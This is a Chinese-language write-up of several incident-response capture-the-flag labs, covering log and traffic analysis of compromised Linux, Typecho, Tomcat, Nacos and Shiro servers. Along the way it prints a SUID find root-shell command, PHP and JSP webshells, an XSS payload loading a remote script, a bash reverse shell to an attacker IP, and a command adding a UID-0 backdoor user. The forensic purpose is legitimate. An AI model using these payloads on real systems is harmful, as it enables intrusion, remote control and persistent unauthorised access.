rws 表示文件所有者（root）具有 SUID 位（s），并且文件的所有者是 root，所以不难看出find就是被黑客进行提权

为什么 /usr/bin/find 设置 SUID 是危险的？

find 命令本身功能强大，如果被恶意利用，可能实现提权（Privilege Escalation）。例如：

攻击手法示例

# 利用 SUID 的 find 执行任意命令（提权到 root）
/usr/bin/find . -exec /bin/sh -p \; -quit

-exec 参数可以执行系统命令（如 /bin/sh -p，-p 保留 root 权限）。
如果 /usr/bin/find 是 SUID root，则会直接获得 root shell。

`/usr/bin/find`	调用 `find` 命令（假设它设置了 SUID，且属主是 root）
`.`	从当前目录开始搜索
`-exec /bin/sh -p \;`	对找到的每个文件（实际是当前目录的所有文件）执行 `/bin/sh -p`（启动一个交互式 shell）
`-quit`	执行完第一次 `-exec` 后立即退出（避免不必要的操作）

在 SUID 文件列表中，/usr/bin/find 因其强大的功能和历史漏洞，可以直接进行提权。攻击者可以利用 SUID find 的 -exec 选项执行任意命令，从而获得高权限（如 root 权限）的 shell

所以黑客提权所用的命令就是：/usr/bin/find

flag{7fd5884f493f4aaf96abee286ee04120}

4.黑客尝试注入恶意代码的工具完整路径md5

这个一步步找了

在Linux系统中，通常将 /opt 目录用于存放可选的、占用空间较大的第三方软件和应用程序。这些程序通常不是系统自带的，也不是通过系统包管理器（如apt、yum等）安装的

这里发现了隐藏目录，进去查看

Cymothoa 是一款专用于 Linux/Unix 系统的后门注入工具，它通过将恶意代码注入到正在运行的进程内存中，实现隐蔽的持久化控制。其名称来源于一种寄生性甲壳类生物（Cymothoa exigua，俗称“食舌虱”），隐喻其寄生特性

所以可以知道黑客尝试注入恶意代码的工具完整路径就是：/opt/.cymothoa-1-beta/cymothoa

flag{736049e6104e442e79cb648fa67ac71b}

5.使用命令运行 ./x.xx 执行该文件将查询的 Exec****** 值作为flag提交 flag

执行文件，这个文件就是我们第一问找到的那个反弹shell的文件

执行完之后我们netstat查看，可以看到脚本里面的ip：114.114.114.121:9999

进程是python

什么是 Exec\**\**\** 值？

Exec\**\**\** 可能指：
- Executable Path（可执行文件路径）：即运行的文件在系统中的完整路径（如 /usr/bin/x.xx 或 /tmp/x.xx）。
- Execution Command（执行命令）：运行该文件时使用的完整命令（如 /bin/sh ./x.xx）。
- Execution Environment（执行环境变量）：如 $PATH 中的某个路径。

所以可以知道就是python

其实在1.py里面就写了是python3，然后这里看的话会发现是python3.4

flag{/usr/bin/python3.4}

第五章 linux实战-CMS01

总结：日志分析；宝塔面板；数据库；蚁剑流量；冰蝎流量

服务器场景操作系统 Linux
服务器账号密码 root Inch@957821.
题目来源公众号  知攻善防实验室 
请点击下载附件，获取私钥文件后连接 ssh
https://mp.weixin.qq.com/s/5ibP6E8R-GPtOEJeFK8qZA
任务环境说明
    注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
    应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
开放题目
    漏洞修复
参考
https://mp.weixin.qq.com/s/5ibP6E8R-GPtOEJeFK8qZA

通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;

一般开始就是去根目录看日志，有www目录，进去找日志文件，有一个127.0.0.1日志文件，进去查看

会发现ip192.168.20.1有大量请求，并且有很多在一秒之内有很多请求的，可以判断这个就是黑客ip

flag{192.168.20.1}

通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交;

这里有www目录，可以尝试看看有没有宝塔面板

发现有，修改密码查看地址

用账号密码登录进入后台1

这里可以看到数据库账号密码

看有哪些库

表

有用户表，我们看看有什么字段

有用户名和密码，我们查看

教师管理员

peadmin

答案是peadmin的

flag{Network@2020}

通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload});

这个如果是自己本地的虚拟机部署可以通过访问网站进行后续操作，这里因为时靶机所以就分析流量包

协议分级选中http

好多在index.php?user-app-register页面的数据包，我们追踪流查看一下

发现了蚁剑流量，URL是index.php?user-app-register

最后还有

攻击者做了什么？

绕过 open_basedir 限制（PHP安全机制，限制脚本访问特定目录之外的文件）
收集服务器信息：
- Web根目录路径（/www/wwwroot/127.0.0.1）
- 操作系统信息（Linux web-server 3.10.0-1160.el7.x86_64，即 CentOS 7）
- 当前运行用户（www）
返回数据，并用 4a0cdc70 和 db6da5 包裹（可能是攻击者的标记）

flag{index.php?user-app-register}

通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码作为 FLAG 提交;

这里可以去www目录下面过滤关键词，因为已经说了是webshell，所以可以过滤@eval(

密码是Network2020

或者去流量包里面看，http追踪流

因为是蚁剑流量，所以第一个就是webshell的连接密码

flag{Network2020}

通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称作为 FLAG 提交;

在流27发现了冰蝎流量

然后后续都是加密流量

所以可以知道后续上传的木马文件就是version2.php

flag{version2.php}

通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交;

去网站目录下面过滤试试

flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交;

flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

flag1

流量包后门还发现了flag1

第五章 linux实战-黑链

服务器场景操作系统 Linux
服务器账号密码 root xjty110pora 端口 2222

任务环境说明
    注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
    应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
开放题目
    漏洞修复
参考
无

黑链是指恶意网站或者恶意软件在其他网站上插入的恶意链接。这些链接通常会将用户重定向到恶意网站，从而导致用户的计算机感染病毒、遭受钓鱼攻击或者泄露个人信息。

找到黑链添加在哪个文件 flag 格式 flag

目录下面有个流量包，先下载保存

根目录发现/var/www，那么就是分析这个目录下面的文件了

有一个压缩包，太贴心了还帮我们整合了，保存解压缩直接丢D盾扫描

发现两个后门文件，poc1.js：

这段代码是一个 恶意 JavaScript 攻击脚本，主要用于 篡改网站后台的 PHP 文件（如 404.php），植入 WebShell 后门（<?php @eval($_POST[a]); ?>）

1. insertIframe() 函数

作用：在网页末尾插入一个隐藏的 <iframe>，用于加载目标 PHP 文件（如 theme-editor.php）。
关键逻辑：
- 检查当前 URL 是否为 manage-comments.php（评论管理页面）。
- 如果是，则构造 theme-editor.php 的路径，指向 404.php（主题文件）。
- 如果不是，则直接访问 /admin/theme-editor.php（主题编辑器）。
- 插入一个 隐藏的 iframe（width='0%' height='0%'），加载目标文件，并设置 onload="writeShell()"（加载完成后执行 writeShell）。

2. writeShell() 函数

作用：在 iframe 加载的 theme-editor.php 页面中 篡改 404.php 文件内容，植入恶意 PHP 代码。
关键逻辑：
- 获取 iframe 内的 content（文件编辑区）和 button（保存按钮）。
- 在 content 的开头插入 <?php @eval($_POST[a]); ?>（WebShell 后门）。
- 自动点击“保存”按钮（btns[1].click()），使修改生效。
- 设置 isSaved = true，避免重复执行。

3. 最终效果

这段代码会 静默修改 404.php（或其他主题文件），植入 eval($_POST[a]) 后门，使攻击者可以 远程执行任意 PHP 代码（如上传木马、窃取数据、控制服务器等）。

404.php：

这段代码是一个 被黑客入侵后篡改的 PHP 文件

恶意代码（WebShell 后门）

<?php @eval($_POST[a]); ?>

eval() 是 PHP 中执行字符串代码的函数，非常危险。
$_POST[a] 表示攻击者可以通过 HTTP POST 请求传入任意 PHP 代码并执行。
@ 符号用于抑制错误输出，避免被发现。
这段代码是一个典型的 WebShell，黑客可以利用它远程控制你的服务器，执行任意命令（如删除文件、窃取数据、植入木马等）。

重复多次（<?php @eval($_POST[a]); ?>）可能是攻击者尝试确保后门生效，即使部分代码被删除或修改。

phpinfo() 信息泄露

<?php phpinfo(); ?>

phpinfo() 会输出 PHP 的详细配置信息（如版本、扩展、路径等），攻击者可以利用这些信息寻找漏洞进一步入侵。

正常的 Typecho 404 页面代码

<?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; ?>
<?php $this->need('header.php'); ?>
...（正常的 404 页面 HTML 代码）
<?php $this->need('footer.php'); ?>

这部分是 Typecho（一个 PHP 博客系统）的 404 页面模板，看起来原本是正常的，但被注入了恶意代码。

这里看到了两个文件header.php和footer.php，撞狗屎运了，真在header.php里面发现了模拟黑链（其实这两个文件在这里算是正常显示的）

有一个

<h3 style="text-align:center">模拟黑链</h3>

这是一个明显的 测试性内容，可能是开发者用于演示黑链（如 SEO 垃圾链接）的样式效果，也可能是攻击者植入的标记

答案确实就是这个文件

这里去看了其他博客有搜索关键字的：

grep -rnw '/var/www/html/' -e '黑链'

flag{header.php}

webshell的绝对路径 flag

webshell我想的一般是先去流量包看看连接情况，在http追踪流的流61里面发现了蚁剑连接，是404.php那个文件

在之前我们D盾扫描显示了路径

flag{/var/www/html/usr/themes/default/404.php}

黑客注入黑链文件的 md5 md5sum file flag

这个在之前分析的poc1.js中可以知道文件就是它，计算md5：

flag{10c18029294fdec7b6ddab76d9367c14}

攻击入口是哪里？url请求路径，最后面加/ flag

之前已经知道了注入黑链文件就是poc1.js，我们在流量包里面过滤一下

http contains "poc1.js"

这里的

09f1f9758c26c309477b55f3a4bac8de__typecho_remember_url=http://xxx.xxx.com/"></a><script/src=http://192.168.20.130/poc1.js></script><a/href="#

恶意注入部分：

在URL值后面，攻击者注入了HTML和JavaScript代码：
- "></a> - 闭合了可能存在的HTML标签
- <script/src=http://192.168.20.130/poc1.js></script> - 试图加载外部恶意JS脚本
- <a/href="#"> - 可能是为了掩盖前面的注入

安全风险：

这是一个典型的存储型XSS攻击尝试
如果网站没有对cookie值进行适当过滤，这段代码会被存储并在页面显示时执行
攻击者试图加载位于192.168.20.130的poc1.js脚本，可能用于窃取信息或进行其他恶意操作

是一个漏洞Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog

flag{/index.php/archives/1/}

第六章-哥斯拉4.0流量分析

总结：哥斯拉流量解密；.so文件分析；IDA；dnslog

请你登录服务器结合数据包附件来分析黑客的入侵行为

用户名：root

密码：xj@gsl4.0

SSH连接：ssh root@ip -p 222

1、黑客的IP是什么？

开环境要钱，先分析流量包

协议分级选中http

统计ip次数

第一个是主机，第二个是黑客

flag{192.168.31.190}

2、黑客是通过什么漏洞进入服务器的？（提交CVE编号）

流31发现

这是一个JSP（JavaServer Pages）的后门脚本，常用于非法控制Web服务器

<% !String xc = "1710acba6220f62b";
String pass = "7f0e6f";
String md5 = md5(pass + xc);
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[] x(byte[] s, boolean m) {
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) {
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
            byte[].class
        }).invoke(Encoder, new Object[] {
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String) Encoder.getClass().getMethod("encode", new Class[] {
                byte[].class
            }).invoke(Encoder, new Object[] {
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
                String.class
            }).invoke(decoder, new Object[] {
                bs
            });
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
                    String.class
                }).invoke(decoder, new Object[] {
                    bs
                });
            } catch (Exception e2) {}
        }
        return value;
    } %> <%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {} %>

核心功能分析：

密码验证：
- 使用硬编码密码 pass = "7f0e6f" 作为参数名
- 通过 pass+xc 的MD5值进行验证（md5 = md5(pass + xc)）
AES加密通信：
- 使用AES加密算法（密钥为xc变量）
- x()方法负责加密/解密数据（true加密，false解密）
类加载机制：
- 自定义X类继承ClassLoader，可以动态加载恶意字节码
- 通过Q()方法定义任意类
执行流程：
- 首次请求时：通过base64Decode解码参数，解密后加载为恶意类（存入session）
- 后续请求时：执行已加载的恶意类，获取执行结果并加密返回
数据交互：
- 使用Base64编码传输二进制数据
- 输出时拼接MD5值作为标记

这里看博客分析的挺详细的，分析完脚本之后去搜关键词就可以知道CVE编号

CVE-2017-12615（适用于 Apache Tomcat）

漏洞描述：Tomcat 的某些版本在开启了 PUT 方法时允许上传 .jsp 文件，即攻击者可以上传 WebShell。
影响版本：Tomcat 7.0.0 ~ 7.0.81
利用路径：上传 .jsp 文件 → 利用 JSP Shell 代码控制服务器 → 远程加载内存马。

flag{CVE-2017-12615}

3、黑客上传的木马文件名是什么？(提交文件名)

通过上一题的追踪流可以知道木马文件就是hello.jsp

flag{hello.jsp}

4、黑客上传的木马连接密码是什么？

通过上上一题的分析可以知道连接密码就是7f0e6f

flag{7f0e6f}

5、黑客上传的木马解密密钥是什么？

flag{1710acba6220f62b}

6、黑客连接webshell后执行的第一条命令是什么？

找后续被加密的流量，在流44发现

前面第一个很长的请求一般都是加密函数什么的，我们看后面的，前面的流45解密是

methodNametest 并不是攻击者在“命令执行”模块中手动输入的命令，而是 哥斯拉连接后自动发送的初始化“心跳”或“测试”请求，用于验证连接是否成功。

我们继续往后面看

cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand

(1) cmdLine

cmdLine sh -c "cd "/";uname -r" 2>&1

sh -c：调用 shell 执行命令
cd "/";uname -r"：
- cd "/" → 切换到根目录
- uname -r → 查询 Linux 内核版本（黑客常用此命令探测系统信息）
2>&1：将标准错误（stderr）重定向到标准输出（stdout），确保错误信息也能返回

(2) executableFile

executableFile sh

sh：指定使用 sh（Bourne Shell）来执行命令。

(3) executableArgs

executableArgs -c "cd "/";uname -r" 2>&1

-c：让 sh 执行后续字符串中的命令
cd "/";uname -r：实际执行的命令
2>&1：错误输出合并到标准输出

(4) argsCount 4

表示命令参数有 4 个部分：

arg-0 sh → 可执行文件（sh）
arg-1 -c → 参数 -c
arg-2 cd "/";uname -r → 要执行的命令
arg-3 2>&1 → 错误输出重定向

(5) methodName execCommand

execCommand：表明这是一个 命令执行方法，常见于 WebShell 或后门工具。

我们再解密返回包看看

返回了linux的内核版本，所以执行的第一条命令就是uname -r

flag{uname -r}

7、黑客连接webshell时查询当前shell的权限是什么？

流47

解密请求是：

sh -c "cd \"/\"; id" 2>&1

id 命令会输出当前 WebShell 所在服务进程的用户信息，这通常用于判断当前权限（低权限 or 高权限），解密响应：

root权限

流45解密返回也可以看到权限

flag{root}

8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么？

流45返回解密：

flag{Debian GNU/Linux 10 (buster)}

9、黑客利用webshell执行命令还查询并过滤了什么？（提交整条执行成功的命令）

流50请求包解密得到：

cmdLine & sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rpm -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rpm -qa | grep pammethodName execCommand

cmdLine 部分

sh -c "cd "/"; rpm -qa | grep pam" 2>&1

sh -c：调用 Shell 执行命令。
cd "/"：切换到根目录（确保后续命令在 / 下执行）。
rpm -qa | grep pam：
- rpm -qa → 列出所有已安装的 RPM 包（适用于 CentOS/RHEL 等系统）。
- grep pam → 筛选出与 PAM 相关的包（如 pam, pam-devel, pam_krb5 等）。
2>&1：将错误输出（stderr）合并到标准输出（stdout），确保所有信息都能被捕获。

executableFile 和 executableArgs

executableFile sh
executableArgs -c "cd "/"; rpm -qa | grep pam" 2>&1

sh：使用 Bourne Shell（/bin/sh）执行命令。
-c：让 Shell 执行后面的字符串命令。
cd "/"; rpm -qa | grep pam：实际执行的命令（同上）。

argsCount 4 和参数分解

参数	值	说明
`arg-0`	`sh`	调用的 Shell 程序
`arg-1`	`-c`	让 Shell 执行后续命令
`arg-2`	`cd "/"; rpm -qa	grep pam`	实际执行的命令
`arg-3`	`2>&1`	错误输出重定向

methodName execCommand

execCommand：表明这是一个 命令执行方法，常见于 WebShell（如 JSP/PHP 后门）或黑客工具（如冰蝎、哥斯拉）。

但是返回包说没有安装rpm

再去找

cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand

部分：

sh -c "cd "/"; dpkg -l libpam-modules:amd64" 2>&1

sh -c：调用 Shell 执行命令。
cd "/"：切换到根目录（确保命令在 / 下执行）。
dpkg -l libpam-modules:amd64：
- dpkg -l → 列出已安装的 Debian/Ubuntu 软件包（适用于 Debian 系系统）。
- libpam-modules:amd64 → 查询 PAM 核心模块（管理用户认证的关键组件）。
2>&1：将错误输出（stderr）合并到标准输出（stdout），确保所有信息都能被捕获。

有返回，说明执行成功，那么命令就是dpkg -l libpam-modules:amd64

flag{dpkg -l libpam-modules:amd64}

10、黑客留下后门的反连的IP和PORT是什么？（IP:PORT)

流52

base64解密

反弹shell

/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1

flag{192.168.31.143:1313}

11、黑客通过什么文件留下了后门？

这个后续就是看博客学习了

在一个很长的请求包中，流56，我们解密

后续的返回包是ok

flag{pam_unix.so}

12、黑客设置的后门密码是什么？

我们连接靶机去找上一题上传成功的文件，来到/root目录下面查看.bash_history

发现了，来到对应目录下面把文件下载下来

打开IDA进行分析（这个工具我是真不会用，全程跟着博客的哈哈哈

F5反编译

博客原文：

代码分析

pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);：

将某些认证数据（v6）存储在 PAM 句柄中，便于后续使用。
authtok = pam_get_authtok();：

调用 pam_get_authtok() 获取用户的认证令牌（通常是密码）。
密码检查：

如果 authtok 不存在，调用 unix_verify_password(pamh, name, p, v4); 来验证密码。
如果验证失败，记录日志并返回错误代码。
特殊密码检查：

代码中有一行 v12 = strcmp("XJ@123", p) == 0;，用于检查输入密码是否为 "XJ@123"。
如果匹配成功，设置返回值 v8。
记录日志：

使用 pam_syslog 记录关于用户名的错误信息，如果用户名不正确，返回相应的错误代码。
后门密码分析

所以可以确认的是黑客设置的后门密码是："XJ@123"。
为什么确定是：
代码中明确比较用户输入的密码是否等于 "XJ@123"，并根据比较结果决定认证是否成功。
如果这个密码被硬编码在代码中，黑客可能利用这个密码获得不当访问权限。

flag{XJ@123}

13、黑客的恶意dnslog服务器地址是什么？

dnslog会生成一个特定域名，ping它可以在网站看到信息

比如

ping %USERNAME%.域名

就会返回%USERNAME%的值，这个地方改成其他的也可以返回相应的信息

也是在上一题一样的位置

博客原文：

首先可以确认恶意 DNSLog 服务器地址：

c0ee2ad2d8.ipv6.xxx.eu.org.

为什么是这个地址

动态生成：

代码中使用 snprintf 函数构造了一个 DNS 名称，结合了 name 和 p 变量。虽然具体的 name 和 p 值没有给出，但可以确定最终的地址是以 c0ee2ad2d8.ipv6.xxx.eu.org. 结尾。
恶意意图：

这个 DNS 名称的构造意图是让被感染的系统向这个地址发送 DNS 请求，黑客可以通过 DNSLog 服务器记录下请求，获取用户的信息或活动。
与攻击者的联系：

通过这个地址，攻击者可以监控和识别目标系统，进而实施进一步的攻击或数据窃取。

flag{c0ee2ad2d8.ipv6.xxx.eu.org.}

参考文章：玄机——第六章-哥斯拉4.0流量分析 wp-CSDN博客

第八章内存马分析-java01-nacos

总结：什么是nacos；shiro的key；内核查看；

靶机来源 @vulntarget
靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget

ssh root@ip    密码xjnacos 启动 /var/local/下的 autorun.sh即可正常启动

nacos 用户密码的密文值作为 flag 提交 flag

Nacos（全称 Dynamic Naming and Configuration Service）是阿里巴巴开源的一款集 服务发现（Service Discovery）、配置管理（Configuration Management）、动态 DNS 和服务元数据管理 于一体的云原生平台。它主要帮助开发者构建、部署和管理微服务架构中的服务注册与配置中心。

Nacos 的核心功能

1. 服务发现与注册（Service Discovery）

服务注册：微服务启动时，自动将自己的信息（如 IP、端口、健康状态）注册到 Nacos。
服务发现：服务消费者可以通过 Nacos 查询可用的服务实例列表，实现动态调用。
健康检查：Nacos 会定期检查服务健康状态，自动剔除故障节点。

2. 配置管理（Configuration Management）

集中式配置：将应用的配置（如数据库连接、开关参数）存储在 Nacos 服务器，支持动态更新。
多环境支持：可区分 dev（开发）、test（测试）、prod（生产）等不同环境的配置。
监听变更：应用可实时感知配置变化，无需重启即可生效。

3. 动态 DNS 与路由

支持基于权重的负载均衡策略。
可与 Spring Cloud、Dubbo、Kubernetes 等生态集成。

4. 服务元数据管理

记录服务的版本、分组、标签等信息，便于服务治理。

根据题目说明，连接靶机之后到/var/local/启动autorun.sh

在/var/local目录下存在nacos目录，在nacos/conf/目录下发现nacos-mysql.sql,从中发现了加密的nacos密码

flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu}

shiro 的key为多少 shiro 的 key 请记录下来（请记录下来，会有用d）

Shiro 是一个 Java 安全框架，用于认证（登录）、授权（权限控制）和会话管理。
Shiro 的 key 是用于加密会话（Cookie）的密钥，默认硬编码在配置中，泄露可能导致 反序列化漏洞。

在目录下有一个压缩包，下载解压打开里面还有一个nacos配置文件的压缩包，解压缩打开

三个文件

在文件ADMIN_CONFIG里面发现shiro的key

flag{KduO0i+zUIMcNNJnsZwU9Q==}

靶机内核版本为 flag{}

命令：

uname -r

flag{5.4.0-164-generic}

尝试应急分析，运行 get_flag 然后尝试 check_flag 通过后提交 flag

find命令查找get_flag文件在哪

find / -name get_flag

运行发现错误

这里看了博客说需要删除后门用户，去/etc/passwd文件里面查看用户

发现bt用户

UID=0 表示 root 权限：
该用户的用户 ID（UID）和组 ID（GID）均为 0，与 root 用户相同，意味着它拥有 最高权限。
攻击者常用手法：
通过创建 UID=0 的隐藏用户，攻击者可以绕过审计（如 whoami 仍显示 root，但实际是后门用户）。
可疑注释：
描述字段 eval to root 直译为“提权到 root”，明显是攻击者留下的标记，可能关联某个自动化提权脚本或后门程序。
Home 目录为 /root：
普通用户的 Home 目录通常在 /home/ 下，而此用户直接使用 /root（root 用户的专属目录），进一步表明它是伪装成 root 的后门。
登录 Shell 为 /bin/bash：
允许交互式登录，方便攻击者直接操作。

可以确定就是后门用户，强制删除：

userdel -f bt

再次执行文件

尝试修复 nacos 并且自行用 poc 测试是否成功此题无flag

Nacos Default server.identity 漏洞

问题本质：默认的 server.identity 配置可能存在安全风险，易被利用来进行恶意操作。
修复措施：修改 Nacos 的相关配置文件，自定义并设置一个安全的 server.identity，避免使用默认值。同时，对配置文件设置严格的访问权限，限制非授权人员查看和修改。

Nacos Default Auth Disabled（默认认证禁用）漏洞

问题本质：Nacos 默认认证功能被禁用，使得任何用户无需身份验证就能访问敏感资源和接口。
修复措施：在 Nacos 的配置文件（如application.properties 或 bootstrap.yml ）中，启用认证功能。设置强密码策略，要求密码包含大小写字母、数字和特殊字符，并且定期更换。同时，限制登录失败次数，防止暴力破解，例如设置连续登录失败 5 次后，锁定账户 15 分钟。

Nacos Default User-Agent 漏洞

问题本质：使用默认的 User-Agent，攻击者容易识别出 Nacos 应用，进而针对性地发起攻击。
修复措施：修改 Nacos 的配置，自定义 User-Agent，避免暴露应用的具体信息。另外，对 Nacos 的访问来源进行限制，只允许受信任的 IP 地址或 IP 地址段访问。

Nacos Derby SQL Injection（Derby SQL 注入）漏洞

问题本质：应用对用户输入的处理不当，导致攻击者可以通过构造恶意的 SQL 语句，在 Derby 数据库中执行非授权操作，如获取敏感数据、篡改数据等。
修复措施：对所有用户输入进行严格的验证和过滤，使用预编译语句来执行 SQL 操作，避免直接拼接用户输入到 SQL 语句中。同时，及时更新 Nacos 到官方发布的安全版本，关注官方的安全补丁，以修复已知的 SQL 注入漏洞。

Nacos Default token.secret.key 漏洞

问题本质：默认的 token.secret.key 安全性低，攻击者如果获取到该密钥，就可能伪造令牌，获取到系统的访问权限。
修复措施：在 Nacos 配置中，生成并设置一个高强度、随机的 token.secret.key。定期更换 token.secret.key，并且对相关的密钥管理设置严格的权限控制。

Nacos Default Password (nacos/nacos)（默认密码）漏洞

问题本质：Nacos 使用默认的用户名和密码（nacos/nacos），攻击者可以轻易尝试登录，获取系统权限。
修复措施：立即修改默认的用户名和密码，设置高强度密码，并定期更换。同时，启用多因素认证（MFA），除了用户名和密码外，还要求用户提供手机验证码等额外的验证信息，增加攻击者破解和登录的难度。

默认口令：

nacos:nacos

修改密码：

/nacos/v1/auth/users?pageNo=1&pageSize=1

/nacos/v1/auth/users?pageNo=1&pageSize=9

v1/cs/ops/derby?sql=select+*+from+sys.systables

参考：第八章内存马分析-java01-nacos-CSDN博客

第八章内存马分析-java02-shiro

总结：fscan扫描端口；shiro反序列化利用；/etc/passwd查看隐藏用户；后门查找

靶机来源 @vulntarget
靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
    本题不提供靶机账户密码请根据nacos 获取的shirokey 攻击靶机后登录应急

1.将 shiro 的 key 作为 flag 提交

上一个靶机找到的：

flag{KduO0i+zUIMcNNJnsZwU9Q==}

2.隐藏用户后删除，并将隐藏用户名作为 flag 提交

先用fscan扫一下看看端口

fscan.exe -h 52.83.97.97

可以看到开放了两个端口，其中8088是一个登陆界面

工具：Shiro反序列化利用工具

利用链是CommonsBeanutilsString_183，回显方式是AllEcho

看隐藏用户，我们去看/etc/passwd文件

0:0，拥有最高权限，所以这个就是隐藏用户

flag{guest}

强制删除：

userdel -f guest

3.分析app.jar文件是否存在后门，并把后门路由名称作为 flag 提交 <flag{/manager}>

我们用webshell连接

这里我死活连不上不知道为什么，看了其他人的添加用户密码用ssh连接我也不行

echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd && echo "PermitRootLogin yes" >> /etc/ssh/sshd_config && /etc/init.d/ssh restart

反正就是进入目标靶机之后查看app.jar文件

@RequestMapping({"/exec"})
public void toIndex(String cmd, ServletResponse response) throws IOException {
    ProcessBuilder p;
    HttpServletResponse res = (HttpServletResponse) response;
    PrintWriter writer = res.getWriter();
    if (cmd != null) {
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            p = new ProcessBuilder("cmd.exe", "/c", cmd);
        } else {
            p = new ProcessBuilder("/bin/sh", "-c", cmd);
        }
        Scanner c = new Scanner(p.start().getInputStream()).useDelimiter("\\A");
        String o = c.hasNext() ? c.next() : "";
        c.close();
        writer.write(o);
        writer.flush();
        writer.close();
    }
}

这段代码是一个 Java 的 Web 后端接口方法，使用了 Spring 框架的@RequestMapping注解来映射 URL 路径/exec。其主要功能是：

接收一个名为cmd的字符串参数和一个ServletResponse对象。
根据操作系统类型（Windows 或其他类 Unix 系统）创建不同的ProcessBuilder对象来执行系统命令。
执行传入的cmd命令，并将命令执行结果通过ServletResponse返回给客户端。

它直接接受用户传入的命令并执行，没有任何的安全过滤和验证，这可能导致命令注入攻击。攻击者可以通过构造恶意的cmd参数来执行任意系统命令，从而对服务器造成严重的安全威胁。在实际的生产环境中，这种代码是不允许存在的，必须进行严格的安全加固，例如对用户输入的命令进行白名单过滤、使用安全的命令执行方式等。

利用/bin/sh对cmd传入的参数进行命令执行

其实这个dirsearch也扫到了

flag{/exec}

4.分析app.jar文件，将后门的密码作为 flag 提交

密码就是cmd

flag{cmd}

第八章内存马分析-java03-fastjson

这个暂时没有搞明白所以后面的没写，后续会补上

靶机环境来源vulntarget，靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget

fastjson版本作为 flag 提交 flag

fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串，这样得到字符串之后就可以通过数据库等方式进行持久化了。

